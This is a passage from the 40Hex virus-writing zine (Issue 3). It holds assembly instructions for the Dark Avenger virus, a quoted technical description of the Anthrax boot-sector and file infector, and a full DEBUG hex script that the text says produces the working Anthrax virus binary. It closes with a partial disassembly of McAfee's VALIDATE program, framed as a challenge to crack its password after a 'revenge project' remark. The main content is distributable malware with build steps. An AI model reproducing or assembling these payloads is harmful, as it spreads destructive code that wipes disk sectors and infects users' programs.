save_int_21 equ save_int_27+4 ;Original INT 21h vector
|
||
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
|
||
top_save equ save_int_21+4 ;Beginning of the buffer, which
|
||
;contains
|
||
; - The first 24 bytes read from file
|
||
; - File length (4 bytes)
|
||
; - The last bytes of the file
|
||
; (my_size bytes)
|
||
top_bz equ top_save-copyright
|
||
my_bz equ my_size-copyright
|
||
|
||
code ends
|
||
end
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
A few notes on assembling this virus.
|
||
|
||
It's a little bit tricky assembling the Dark Avenger Virus. Use
|
||
these steps below. I use Turbo Assembler 2.0, but I'm positve that
|
||
MASM will work just as well.
|
||
|
||
1:
|
||
TASM AVENGER.ASM
|
||
|
||
2:
|
||
TLINK AVENGER.OBJ
|
||
|
||
3:
|
||
EXE2BIN AVENGER AVENGER.COM
|
||
|
||
Now make a 3 byte file named JUMP.TMP using DEBUG like this
|
||
|
||
4: DEBUG
|
||
|
||
n jmp.tmp
|
||
e 0100 E9 68 00
|
||
|
||
rcx
|
||
3
|
||
w
|
||
q
|
||
|
||
5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
|
||
|
||
There you have it....
|
||
|
||
HR
|
||
|
||
40Hex Issue 3 0003
|
||
|
||
Anthrax
|
||
|
||
Well, this is turning out to be a tribute issue to the Dark
|
||
Avenger. Here is another one of his better known viruses. This is
|
||
a nice one cause it not only is a file infector, but it is also a
|
||
sort of boot sector virus. It is also what I dubbed a reincarnation
|
||
virus, meaning that even if you clean your system of it, it may
|
||
still live, because it leaves a copy of itself on the last sector of
|
||
the disk. The virus can be reincarnated by the V2100 virus, also bu
|
||
The Dark Avenger.
|
||
|
||
Well, Patti Hoffman (one of my favorite people on earth, not) wrote
|
||
this virus up.
|
||
|
||
Aliases:
|
||
V Status: Rare [Not for long]
|
||
Discovery: July, 1990
|
||
Symptoms: .COM & .EXE growth
|
||
Origin: Bulgaria
|
||
Isolated: Netherlands
|
||
Eff Length: 1040 - 1279 Bytes
|
||
Type Code: PRAKX - Parasitic Resident .COM, .EXE, & Partition Table Infector
|
||
Detection Method: ViruScan V66+, Pro-Scan 2.01+, IBM Scan 2.00+
|
||
Removal Instructions: Scan/D + MDisk/P, Pro-Scan 2.01+
|
||
General Comments:
|
||
The Anthrax Virus was isolated in July 1990 in the Netherlands after
|
||
it was uploaded onto several BBSes in a trojan anti-viral program,
|
||
USCAN.ZIP. It is the second virus to be found in a copy of UScan
|
||
during July 1990, the first virus being V2100. Anthrax is a memory
|
||
resident generic infector of .COM and .EXE files, including
|
||
COMMAND.COM.
|
||
|
||
The first time a program infected with the Anthrax virus is executed
|
||
on the system's hard disk, the virus will infect the hard disk's
|
||
partition table. At this point, the virus is not memory resident. It
|
||
will also write a copy of itself on the last few sectors of the
|
||
system's hard disk. If data existed on those last few sectors of the
|
||
hard disk, it will be destroyed.
|
||
|
||
When the system is booted from the hard disk, the Anthrax virus
|
||
will install itself memory resident. It will remain memory resident
|
||
until the first program is executed. At that time, it will deinstall
|
||
itself from being resident and infect one .COM or .EXE file. This
|
||
virus does not infect files in the current directory first, but
|
||
instead starts to infect files at the lowest level of the disk's
|
||
directory tree.
|
||
|
||
Later, when an infected program is executed, Anthrax will infect one
|
||
.COM or .EXE file, searching the directory structure from the lowest
|
||
level of the directory tree. If the executed infected program
|
||
was located on the floppy drive, a .COM or .EXE file may or may not
|
||
be infected.
|
||
|
||
The Anthrax Virus's code is 1,024 bytes long, but infected programs
|
||
will increase in length by 1,040 to 1,279 bytes. On the author's test
|
||
system, the largest increase in length experienced was 1,232 bytes.
|
||
Infected files will always have an infected file length that is a
|
||
multiple of 16.
|
||
|
||
The following text strings can be found in files infected with the
|
||
Anthrax virus:
|
||
|
||
"(c)Damage, Inc."
|
||
"ANTHRAX"
|
||
|
||
A third text string occurs in the viral code, but it is in Cyrillics.
|
||
Per Vesselin Bontchev, this third string translates to: "Sofia 1990".
|
||
|
||
Since Anthrax infects the hard disk partition tables, infected systems
|
||
must have the partition table disinfected or rebuilt in order to
|
||
remove the virus. This disinfection can be done with either a low-
|
||
level format or use of the MDisk/P program for the correct DOS
|
||
version after powering off and rebooting from a write-protected boot
|
||
diskette for the system. Any .COM or .EXE files infected with
|
||
Anthrax must also be disinfected or erased. Since a copy of the virus
|
||
will exist on the last few sectors of the drive, these must also be
|
||
located and overwritten.
|
||
|
||
Anthrax interacts with another virus: V2100. If a system which was
|
||
previously infected with Anthrax should become infected with the V2100
|
||
virus, the V2100 virus will check the last few sectors of the hard
|
||
disk for the spare copy of Anthrax. If the spare copy is found, then
|
||
Anthrax will be copied to the hard disk's partition table.
|
||
|
||
It is not known if Anthrax carries any destructive capabilities or
|
||
trigger/activation dates.
|
||
|
||
|
||
|
||
|
||
Here is the actual virus. Well if this is your fist copy of
|
||
40Hex, let me explain how to compile it.
|
||
|
||
First copy what is below with your editor. Then save it to a file
|
||
called ANTHRAX.SCR. Then type at the command line -
|
||
|
||
DEBUG <ANTHRAX.SCR
|
||
|
||
This will create a file called ANTHRAX.COM, that's the actual virus.
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
n anthrax.com
|
||
e 0100 E9 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0110 95 8C C8 2D 00 00 BA 00 00 50 52 1E 33 C9 8E D9
|
||
e 0120 BE 4C 00 B8 CD 00 8C CA 87 44 44 87 54 46 52 50
|
||
e 0130 C4 1C B4 13 CD 2F 06 53 B4 13 CD 2F 58 5A 87 04
|
||
e 0140 87 54 02 52 50 51 56 A0 3F 04 A8 0F 75 6C 0E 07
|
||
e 0150 BA 80 00 B1 03 BB 77 06 B8 01 02 50 CD 13 58 B1
|
||
e 0160 01 BB 00 04 CD 13 0E 1F BE 9B 03 8B FB B9 5E 00
|
||
e 0170 56 F3 A6 5E 8B FB B9 62 00 56 F3 A4 5F BE 12 08
|
||
e 0180 B9 65 00 F3 A4 74 1E 89 4D E9 B1 5C 89 4D 9B 88
|
||
e 0190 6D DC B1 02 33 DB B8 02 03 CD 13 49 BB 00 04 B8
|
||
e 01A0 01 03 CD 13 49 B4 19 CD 21 50 B2 02 B4 0E CD 21
|
||
e 01B0 B7 02 E8 87 01 5A B4 0E CD 21 5E 1F 8F 04 8F 44
|
||
e 01C0 02 8F 44 44 8F 44 46 1F 1E 07 95 CB 28 63 29 20
|
||
e 01D0 44 61 6D 61 67 65 2C 20 49 6E 63 2E 00 B0 03 CF
|
||
e 01E0 06 1E 57 56 50 33 C0 8E D8 BE 86 00 0E 07 BF 08
|
||
e 01F0 06 FD AD AB A5 AF 87 F7 AD FC 74 11 1E 07 AF B8
|
||
e 0200 07 01 AB 8C C8 AB 8E D8 BF 68 00 A5 A5 58 5E 5F
|
||
e 0210 1F 07 2E FF 2E 00 06 06 1E 57 56 52 51 53 50 0E
|
||
e 0220 1F BE 06 06 33 C9 8E C1 BF 84 00 A5 A5 B4 52 CD
|
||
e 0230 21 26 8B 47 FE 8E D8 BB 03 00 03 07 40 8E D8 81
|
||
e 0240 07 80 00 0E 07 B7 12 E8 F2 00 58 5B 59 5A 5E 5F
|
||
e 0250 1F 07 2E FF 2E 06 06 C3 91 AE B4 A8 BF 20 31 39
|
||
e 0260 39 30 B8 00 3D CD 21 72 EE 93 B8 20 12 CD 2F 53
|
||
e 0270 26 8A 1D B8 16 12 CD 2F 5B BE 62 04 8B D6 B1 18
|
||
e 0280 B4 3F CD 21 33 C1 75 70 06 1F C6 45 02 02 33 D2
|
||
e 0290 EC 3C 10 72 FB 03 45 11 13 55 13 24 F0 3D 00 FB
|
||
e 02A0 73 56 89 45 15 89 55 17 0E 1F 50 B1 10 F7 F1 2B
|
||
e 02B0 44 08 8B C8 2B 44 16 A3 04 00 AD 35 4D 5A 74 03
|
||
e 02C0 35 17 17 9C 75 17 89 04 3B 44 0A 87 44 12 A3 07
|
||
e 02D0 00 89 4C 14 B9 DC 04 74 07 83 44 08 48 B9 65 00
|
||
e 02E0 51 B9 9B 03 B4 40 CD 21 33 C8 59 75 09 BA 00 04
|
||
e 02F0 B4 40 CD 21 33 C8 5A 58 75 38 26 89 4D 15 26 89
|
||
e 0300 4D 17 52 9D 75 18 26 8B 45 11 26 8B 55 13 B5 02
|
||
e 0310 F7 F1 85 D2 74 01 40 89 14 89 44 02 EB 0A C6 44
|
||
e 0320 FE E9 05 28 03 89 44 FF B9 18 00 8D 54 FE B4 40
|
||
e 0330 CD 21 26 80 4D 06 40 B4 3E CD 21 C3 8E D9 8A 1E
|
||
e 0340 6C 04 0E 1F FF 06 5E 04 BA 4B 06 E8 1F 00 BE 0A
|
||
e 0350 06 C6 04 5C 46 32 D2 B4 47 CD 21 BA 9B 03 B4 3B
|
||
e 0360 CD 21 E3 0D B4 51 CD 21 8E DB BA 80 00 B4 1A EB
|
||
e 0370 C8 72 3E BE 9C 03 32 D2 B4 47 CD 21 3A 2E DC 03
|
||
e 0380 B1 32 BA 9D 02 B4 4E 74 5C CD 21 72 24 BA 4B 06
|
||
e 0390 B8 01 4F BE DC 03 BF 68 06 AA B1 0D F3 A6 74 45
|
||
e 03A0 3A 6D FE 74 40 CD 21 73 E4 32 C0 EB D3 2A 2E 2A
|
||
e 03B0 00 B1 41 BF 9C 03 3A 2D 8A C5 A2 DC 03 74 69 F2
|
||
e 03C0 AE 4F B1 41 B0 5C FD F2 AE 8D 75 02 BF DC 03 FC
|
||
e 03D0 AC 84 C0 AA 75 FA BA CD 02 32 C9 EB 81 2E 2E 00
|
||
e 03E0 BA 4B 06 B4 4F CD 21 72 C8 BE 69 06 BF DC 03 80
|
||
e 03F0 3C 2E 74 EC 88 2D 8B D6 F6 44 F7 10 75 DB AC 84
|
||
e 0400 C0 AA 75 FA 4E FD AD AD FC 3D 58 45 74 05 3D 4F
|
||
e 0410 4D 75 CD 53 E8 4B FE 5B 33 C9 8E C1 26 A0 6C 04
|
||
e 0420 0E 07 2A C3 3A C7 72 B8 BA 80 00 B1 03 BB 00 02
|
||
e 0430 B8 01 03 CD 13 BA 0A 06 E9 23 FF 95 BF 00 01 8B
|
||
e 0440 5D 01 81 EB 28 02 8B C7 8D B7 FD 03 A5 A4 93 B1
|
||
e 0450 04 D3 E8 8C D9 03 C1 BA 0B 00 EB 71 B8 D0 00 FC
|
||
e 0460 87 85 68 FA AB 8C C8 E2 F7 A3 86 00 AB 8E D8 B4
|
||
e 0470 08 CD 13 49 49 A1 E9 03 84 E4 74 01 91 B2 80 B8
|
||
e 0480 03 03 CD 13 91 84 E4 75 02 2C 40 FE CC A3 E9 03
|
||
e 0490 FF 06 60 04 32 F6 B9 01 00 BB 00 04 B8 01 03 CD
|
||
e 04A0 13 8A D6 CB 41 4E 54 48 52 41 58 0E 1F 83 2E 13
|
||
e 04B0 04 02 CD 12 B1 06 D3 E0 8E C0 BF 00 04 BE 00 7C
|
||
e 04C0 B9 00 01 8B DE FC F3 A5 8E D8 BA 27 04 51 53 50
|
||
e 04D0 52 CB 8E C1 B1 04 BE B0 05 83 C6 0E AD 3C 80 74
|
||
e 04E0 04 E2 F6 CD 18 92 FD AD 91 B8 01 02 CD 13 81 3E
|
||
e 04F0 FE 05 55 AA 75 ED 06 1E 07 1F 32 F6 B9 02 00 33
|
||
e 0500 DB B8 02 02 CD 13 E9 EE FE 00 00 00 00 CD 20 CC
|
||
e 0510 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
|
||
e 0520 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
|
||
e 0530 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
|
||
e 0540 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
|
||
e 0550 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
|
||
e 0560 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
|
||
e 0570 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
|
||
|
||
rcx
|
||
480
|
||
w
|
||
q
|
||
|
||
-------------------------------------------------------------------------------
|
||
HR
|
||
|
||
|
||
40Hex Issue 3 0004
|
||
|
||
The Strange Case of Validate
|
||
|
||
- Fall to your knees, begging your way out of this disease.
|
||
|
||
Well we all know what a dick John Mcafee is. Well with his product
|
||
SCAN comes a program VALIDATE. I noticed when I took a close look
|
||
at the internal workings of this program (while working on a little
|
||
revenge project) that there is text in the program. The strings
|
||
read
|
||
|
||
"Enter password now"
|
||
"Access denied"
|
||
|
||
Well this got me going, what is this??? Well this brings up our
|
||
first 40Hex challenge. I am including a dissassembly of validate.
|
||
Here it is:
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
data_1e equ 100h
|
||
data_2e equ 102h
|
||
data_3e equ 2Ch
|
||
data_4e equ 14h
|
||
data_5e equ 16h
|
||
data_6e equ 18h
|
||
data_7e equ 1Ah
|
||
data_8e equ 47h
|
||
data_9e equ 49h
|
||
data_10e equ 4Ah
|
||
data_11e equ 59h
|
||
|
||
seg_a segment byte public
|
||
assume cs:seg_a, ds:seg_a
|
||
|
||
|
||
org 100h
|
||
|
||
validate proc far
|
||
|
||
start:
|
||
jmp loc_96
|
||
db 0Dh, ' ', 0Dh, 0Ah, 'VALIDATE 0'
|
||
db '.3 '
|
||
copyright db 'Copyright 1988-89 by McAfee Asso'
|
||
db 'ciates.'
|
||
db ' (408) 988-3832', 0Dh, 0Ah, 0Dh
|
||
db 0Ah, 'Written by Dennis Yelle', 0Dh
|
||
db 0Ah, 0Dh, 0Ah
|
||
db 1Ah
|
||
data_19 db 30h dexed access)
|
||
db '123456789ABCDEF'
|
||
db 10h, 0Fh, 0Dh, 8, 6, 3
|
||
db 1, 0, 0C8h, 10h, 0Ch, 5
|
||
db 0, 0C8h, 10h, 0Fh, 2, 0
|
||
db 0C8h, 10h, 0Fh, 0Eh, 7, 6
|
||
db 0, 0C8h, 10h, 0Fh, 0Dh, 0
|
||
db 0C8h
|
||
loc_1:
|
||
mov al,1
|
||
mov ah,4Ch
|
||
int 21h
|
||
db 0CDh, 20h
|
||
loc_2:
|
||
jmp short loc_2
|
||
|
||
validate endp
|
||
|
||
sub_1 proc near
|
||
mov dx,si
|
||
loc_3:
|
||
lodsb
|
||
cmp al,1
|
||
ja loc_3
|
||
pushf
|
||
mov cx,si
|
||
sub cx,dx
|
||
dec cx
|
||
mov ah,40h
|
||
mov bx,1
|
||
int 21h
|
||
popf
|
||
jz loc_1
|
||
retn
|
||
sub_1 endp
|
||
|
||
sub_2 proc near
|
||
mov bp,sp
|
||
xchg si,[bp]
|
||
call sub_1
|
||
xchg si,[bp]
|
||
retn
|
||
sub_2 endp
|
||
|
||
db 0B4h, 40h, 0BBh, 2, 0, 0B9h
|
||
db 48h, 0, 0BAh, 9, 1, 0CDh
|
||
db 21h, 0A1h, 2, 0, 8Ch, 0CBh
|
||
db 29h, 0D8h, 3Dh, 0, 10h, 77h
|
||
db 52h, 0E8h, 0D8h, 0FFh
|
||
db 0Dh, 0Ah, ' Sorry, there is not e'
|
||
db 'nough memory available.', 0Dh, 0Ah
|
||
db ' I need 66000 bytes of RAM.', 0Dh
|
||
db 0Ah
|
||
db 1, 0BEh, 80h, 0, 0ACh, 0Ah
|
||
db 0C0h
|
||
db 74h, 9
|
||
loc_4:
|
||
lodsb
|
||
cmp al,20h
|
||
je loc_4
|
||
cmp al,0Dh
|
||
jne loc_6
|
||
loc_5:
|
||
jmp loc_10
|
||
loc_6:
|
||
dec si
|
||
mov data_33,si
|
||
push si
|
||
mov si,197h
|
||
call sub_9
|
||
mov di,666h
|
||
call sub_10
|
||
mov si,186h
|
||
call sub_9
|
||
mov di,866h
|
||
call sub_10
|
||
call sub_2
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
inc si
|
||
db 'ile Name: '
|
||
db 0, 5Eh
|
||
loc_7:
|
||
lodsb
|
||
cmp al,20h
|
||
jg loc_7
|
||
push ax
|
||
xor al,al
|
||
mov [si-1],al
|
||
mov bx,1
|
||
mov cx,si
|
||
dec cx
|
||
mov dx,data_33
|
||
sub cx,dx
|
||
mov ah,40h
|
||
int 21h
|
||
push si
|
||
call sub_8
|
||
mov dx,data_33
|
||
mov ax,3D00h
|
||
int 21h
|
||
jc loc_11
|
||
mov data_32,ax
|
||
;* call sub_3
|
||
db 0E8h, 0B8h, 0
|
||
mov ah,3Eh
|
||
mov bx,data_32
|
||
int 21h
|
||
pop si
|
||
pop ax
|
||
cmp al,0Dh
|
||
je loc_9
|
||
loc_8:
|
||
lodsb
|
||
cmp al,20h
|
||
je loc_8
|
||
cmp al,0Dh
|
||
je loc_9
|
||
call sub_8
|
||
jmp loc_6
|
||
loc_9:
|
||
mov ax,4C00h
|
||
int 21h
|
||
loc_10:
|
||
mov dx,2E6h
|
||
mov cx,84h
|
||
jmp loc_17
|
||
loc_11:
|
||
mov dx,5FBh
|
||
mov cx,29h
|
||
jmp loc_17
|
||
db 'This program prints the validati'
|
||
db 'on information for a file.', 0Dh
|
||
db 0Ah, 'Examples:', 0Dh, 0Ah, ' '
|
||
db ' VALIDATE SCAN.EXE', 0Dh, 0Ah
|
||
db ' VALIDATE SCANRES.EXE', 0Dh
|
||
db 0Ah
|
||
|
||
sub_3 proc near
|
||
xor ax,ax
|
||
mov data_34,ax
|
||
mov data_35,ax
|
||
loc_12:
|
||
mov bx,data_32
|
||
mov dx,0A66h
|
||
mov cx,8000h
|
||
mov ah,3Fh
|
||
int 21h
|
||
jnc loc_13
|
||
jmp loc_16
|
||
loc_13:
|
||
or ax,ax
|
||
jz loc_14
|
||
mov dx,ax
|
||
push dx
|
||
mov si,0A66h
|
||
mov di,666h
|
||
mov cx,data_34
|
||
call sub_11
|
||
mov data_34,cx
|
||
pop dx
|
||
mov si,0A66h
|
||
mov di,866h
|
||
mov cx,data_35
|
||
call sub_11
|
||
mov data_35,cx
|
||
jmp short loc_12
|
||
loc_14:
|
||
call sub_2
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
and [bx+si],ah
|
||
and [bp+di+69h],dl
|
||
jp $+67h
|
||
cmp ah,[bx+si]
|
||
and [bx+si],al
|
||
mov ax,4202h
|
||
mov bx,data_32
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 21h
|
||
jnc $+0Fh
|
||
call sub_2
|
||
jnz $+70h
|
||
db 6Bh, 6Eh, 6Fh, 77h, 6Eh, 0
|
||
db 0EBh, 3, 0E8h, 59h, 1, 0E8h
|
||
db 0D1h, 0FDh
|
||
db 0Dh, 0Ah, ' Date: '
|
||
db 0, 0B8h, 0, 57h, 8Bh, 1Eh
|
||
db 4Eh, 6, 0CDh, 21h, 73h, 8
|
||
db 0BEh, 0DDh, 3, 0E8h, 8Fh, 0FDh
|
||
db 0EBh, 26h, 52h, 8Bh, 0C2h, 0B1h
|
||
db 5, 0D3h, 0E8h, 25h, 0Fh, 0
|
||
db 0E8h, 70h, 1, 0E8h, 98h, 0
|
||
db 58h, 50h, 25h, 1Fh, 0, 0E8h
|
||
db 65h, 1, 0E8h, 8Dh, 0, 58h
|
||
db 0B1h, 9, 0D3h, 0E8h, 5, 0BCh
|
||
db 7, 0E8h, 57h, 1, 0E8h, 7Ch
|
||
db 0FDh
|
||
db 0Dh, 0Ah, 'File Authentication:', 0Dh
|
||
db 0Ah, ' Check Method 1 - '
|
||
db 0, 8Bh, 0Eh, 52h, 6, 0E8h
|
||
db 27h, 0, 0E8h, 43h, 0FDh
|
||
db 0Dh, 0Ah, ' Check Method 2 - '
|
||
db 0, 8Bh, 0Eh, 54h, 6, 0E8h
|
||
db 4, 0, 0E8h, 27h, 0, 0C3h
|
||
db 51h, 89h, 0C8h, 88h, 0E0h, 0E8h
|
||
db 1, 0
|
||
db 58h
|
||
|
||
|
||
sub_4:
|
||
mov bx,ax
|
||
mov cl,4
|
||
shr bx,cl
|
||
call sub_5
|
||
mov bx,ax
|
||
|
||
|
||
sub_5:
|
||
and bx,0Fh
|
||
mov dl,data_19[bx]
|
||
|
||
|
||
sub_6:
|
||
loc_15:
|
||
push ax
|
||
mov ah,2
|
||
int 21h
|
||
pop ax
|
||
retn
|
||
|
||
|
||
sub_7:
|
||
mov dl,2Dh
|
||
jmp short loc_15
|
||
|
||
|
||
sub_8:
|
||
mov dl,0Dh
|
||
call sub_6
|
||
mov dl,0Ah
|
||
jmp short loc_15
|
||
loc_16:
|
||
mov dx,624h
|
||
mov cx,29h
|
||
loc_17:
|
||
mov bx,2
|
||
push ax
|
||
mov ah,40h
|
||
int 21h
|
||
jc loc_18
|
||
pop ax
|
||
loc_18:
|
||
mov ah,4Ch
|
||
int 21h
|
||
sub_3 endp
|
||
|
||
|
||
|
||
sub_9 proc near
|
||
xor bx,bx
|
||
xor cx,cx
|
||
inc si
|
||
lodsb
|
||
loc_19:
|
||
mov cl,al
|
||
mov ax,1
|
||
shl ax,cl
|
||
or bx,ax
|
||
lodsb
|
||
cmp al,0C8h
|
||
jb loc_19
|
||
mov cl,8
|
||
mov di,656h
|
||
mov ax,bx
|
||
loc_20:
|
||
stosw
|
||
shr ax,1
|
||
jnc loc_21
|
||
xor ax,bx
|
||
loc_21:
|
||
dec cl
|
||
jnz loc_20
|
||
retn
|
||
sub_9 endp
|
||
|
||
|
||
sub_10 proc near
|
||
mov si,656h
|
||
xor dx,dx
|
||
loc_22:
|
||
mov cx,dx
|
||
mov bx,si
|
||
xor ax,ax
|
||
loc_23:
|
||
shl cl,1
|
||
jnc loc_24
|
||
xor ax,[bx]
|
||
loc_24:
|
||
add bx,2
|
||
or cl,cl
|
||
jnz loc_23
|
||
stosw
|
||
inc dl
|
||
jnz loc_22
|
||
retn
|
||
sub_10 endp
|
||
|
||
sub_11 proc near
|
||
loc_25:
|
||
lodsb
|
||
mov bl,cl
|
||
xor bl,al
|
||
xor bh,bh
|
||
mov cl,ch
|
||
mov ch,0
|
||
add bx,bx
|
||
xor cx,[bx+di]
|
||
dec dx
|
||
jnz loc_25
|
||
retn
|
||
sub_11 endp
|
||
|
||
data_27 dw 4240h
|
||
data_28 dw 0Fh
|
||
data_29 dw 3E8h
|
||
data_30 dw 0Ah
|
||
|
||
|
||
sub_12 proc near
|
||
cmp dx,data_28
|
||
jb loc_32
|
||
ja loc_26
|
||
cmp ax,data_27
|
||
jb loc_32
|
||
loc_26:
|
||
mov bx,data_27
|
||
mov cx,data_28
|
||
xor si,si
|
||
loc_27:
|
||
inc si
|
||
shl bx,1
|
||
rcl cx,1
|
||
jno loc_27
|
||
xor di,di
|
||
loc_28:
|
||
shl di,1
|
||
cmp dx,cx
|
||
jb loc_30
|
||
ja loc_29
|
||
cmp ax,bx
|
||
jb loc_30
|
||
loc_29:
|
||
sub ax,bx
|
||
sbb dx,cx
|
||
inc di
|
||
loc_30:
|
||
shr cx,1
|
||
rcr bx,1
|
||
dec si
|
||
jge loc_28
|
||
push dx
|
||
push ax
|
||
mov ax,di
|
||
xor dx,dx
|
||
call sub_14
|
||
mov al,2Ch
|
||
call sub_19
|
||
pop ax
|
||
pop dx
|
||
div data_29
|
||
push dx
|
||
call sub_15
|
||
jmp short loc_33
|
||
|
||
|
||
sub_13:
|
||
xor dx,dx
|
||
cmp ax,2710h
|
||
jae loc_32
|
||
cmp ax,3E8h
|
||
jb loc_32
|
||
div data_29
|
||
or ax,ax
|
||
push dx
|
||
jz loc_31
|
||
call sub_16
|
||
loc_31:
|
||
pop ax
|
||
jmp short loc_34
|
||
|
||
|
||
sub_14:
|
||
loc_32:
|
||
div data_29
|
||
push dx
|
||
or ax,ax
|
||
jz loc_31
|
||
call sub_16
|
||
loc_33:
|
||
mov al,2Ch
|
||
call sub_19
|
||
pop ax
|
||
|
||
|
||
sub_15:
|
||
xor dx,dx
|
||
div data_30
|
||
jmp loc_35
|
||
db 88h, 0E0h, 32h, 0E4h
|
||
|
||
|
||
sub_16:
|
||
loc_34:
|
||
cmp ax,0Ah
|
||
jb loc_37
|
||
xor dx,dx
|
||
div data_30
|
||
cmp al,0Ah
|
||
jb loc_36
|
||
loc_35:
|
||
push dx
|
||
xor dx,dx
|
||
div data_30
|
||
call sub_17
|
||
pop ax
|
||
jmp loc_37
|
||
|
||
|
||
sub_17:
|
||
loc_36:
|
||
push dx
|
||
call sub_18
|
||
pop ax
|
||
|
||
|
||
sub_18:
|
||
loc_37:
|
||
add al,30h
|
||
|
||
|
||
sub_19:
|
||
mov ah,2
|
||
mov dl,al
|
||
int 21h
|
||
retn
|
||
sub_12 endp
|
||
|
||
db 0Dh, 0Ah, ' Sorry, I cannot open '
|
||
db 'the input file.', 0Dh, 0Ah, 0Dh, 0Ah
|
||
db ' Sorry, I cannot read the input '
|
||
db 'file.', 0Dh, 0Ah
|
||
db 90h
|
||
data_32 dw 0
|
||
data_33 dw 0
|
||
data_34 dw 0
|
||
data_35 dw 0
|
||
db 0ACh, 29h, 0ADh, 29h, 0AEh, 29h
|
||
db 0AFh, 29h, 0B0h, 29h, 0E9h, 70h
|
||
db 2, 0E9h, 49h, 2
|
||
db 14 dup (0)
|
||
db 0E9h, 0C7h, 0, 0Dh, 0, 0
|
||
db 0
|
||
db 44h, 29h
|
||
db 42 dup (0)
|
||
db 0CCh, 7, 6, 7
|
||
db 13 dup (0)
|
||
db 3, 2, 0CFh, 0C8h, 0Dh, 0C9h
|
||
db 0Dh
|
||
db 79 dup (0)
|
||
db 0Dh, 0Ah, 'Please enter the passw'
|
||
db 'ord now: '
|
||
db 0
|
||
db 0Dh, 0Ah, 'This program requires '
|
||
db 'DOS 3.00 or greater'
|
||
db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
|
||
db 2Eh, 2Ah, 0
|
||
db 0Dh, 0Ah, '%%211#---4677^^^%'
|
||
db 7, 0Dh, 0Ah, 0, 42h, 23h
|
||
db 0
|
||
db 305 dup (0)
|
||
db 50h, 53h, 0A1h, 1, 1, 5
|
||
db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h
|
||
db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
|
||
db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
|
||
db 6Bh, 2, 50h, 0CBh, 5Bh, 58h
|
||
db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh
|
||
db 2Eh, 8Ch, 6, 1Bh, 1, 2Eh
|
||
db 0A3h, 1Dh, 1, 2Eh, 89h, 26h
|
||
db 1Fh, 1, 2Eh, 8Ch, 16h, 21h
|
||
db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
|
||
db 4Fh, 2, 2Eh, 0A1h, 1Dh, 1
|
||
db 50h, 53h, 51h, 52h, 56h, 57h
|
||
db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
|
||
db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
|
||
db 3Ch, 50h, 75h, 6, 0E8h, 6Ah
|
||
db 0, 0EBh, 15h, 90h, 3Ch, 44h
|
||
db 75h, 6, 0E8h, 78h, 0, 0EBh
|
||
db 0Bh, 90h
|
||
loc_38:
|
||
cmp al,4Ch
|
||
jne loc_39
|
||
call sub_21
|
||
jmp short loc_40
|
||
loc_39:
|
||
stc
|
||
loc_40:
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
cmp byte ptr cs:data_7e,0
|
||
je loc_41
|
||
mov ax,cs:data_4e
|
||
mov ds:data_1e,ax
|
||
mov ax,cs:data_5e
|
||
mov ds:data_2e,ax
|
||
mov ax,100h
|
||
mov cs:data_4e,ax
|
||
mov cs:data_5e,ds
|
||
jmp short loc_42
|
||
loc_41:
|
||
mov ax,cs
|
||
sub ax,cs:data_6e
|
||
add cs:data_5e,ax
|
||
loc_42:
|
||
pop ax
|
||
mov ss,word ptr cs:[121h]
|
||
mov sp,word ptr cs:[11Fh]
|
||
jmp dword ptr cs:data_4e
|
||
db 0BAh, 4, 1, 0E8h, 0BCh, 0
|
||
db 0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh
|
||
db 0AEh, 0, 0E8h, 0B1h, 0, 0C6h
|
||
db 6, 58h, 0, 29h, 0BAh, 58h
|
||
db 0, 0E8h, 74h, 0, 0E8h, 0BDh
|
||
db 0, 0E8h, 87h, 0, 0C3h
|
||
|
||
|
||
sub_20 proc near
|
||
mov ah,2Ah
|
||
int 21h
|
||
cmp cx,ds:data_8e
|
||
jb loc_44
|
||
cmp dh,ds:data_9e
|
||
jb loc_44
|
||
cmp dl,ds:data_10e
|
||
jb loc_44
|
||
jmp short loc_44
|
||
db 90h, 0B4h, 30h, 0CDh, 21h, 3Ch
|
||
db 3, 73h, 4, 0F8h, 0EBh, 25h
|
||
db 90h, 1Eh, 6, 32h, 0C0h, 0B9h
|
||
db 0, 80h, 2Eh, 8Eh, 6, 1Bh
|
||
db 1, 26h, 8Eh, 6, 2Ch, 0
|
||
db 33h, 0FFh
|
||
loc_43:
|
||
repne scasb
|
||
scasb
|
||
jnz loc_43
|
||
add di,2
|
||
push es
|
||
pop ds
|
||
mov dx,di
|
||
mov ah,41h
|
||
clc
|
||
pop es
|
||
pop ds
|
||
loc_44:
|
||
cmc
|
||
retn
|
||
sub_20 endp
|
||
|
||
|
||
sub_21 proc near
|
||
mov ah,1Ah
|
||
mov dx,83h
|
||
int 21h
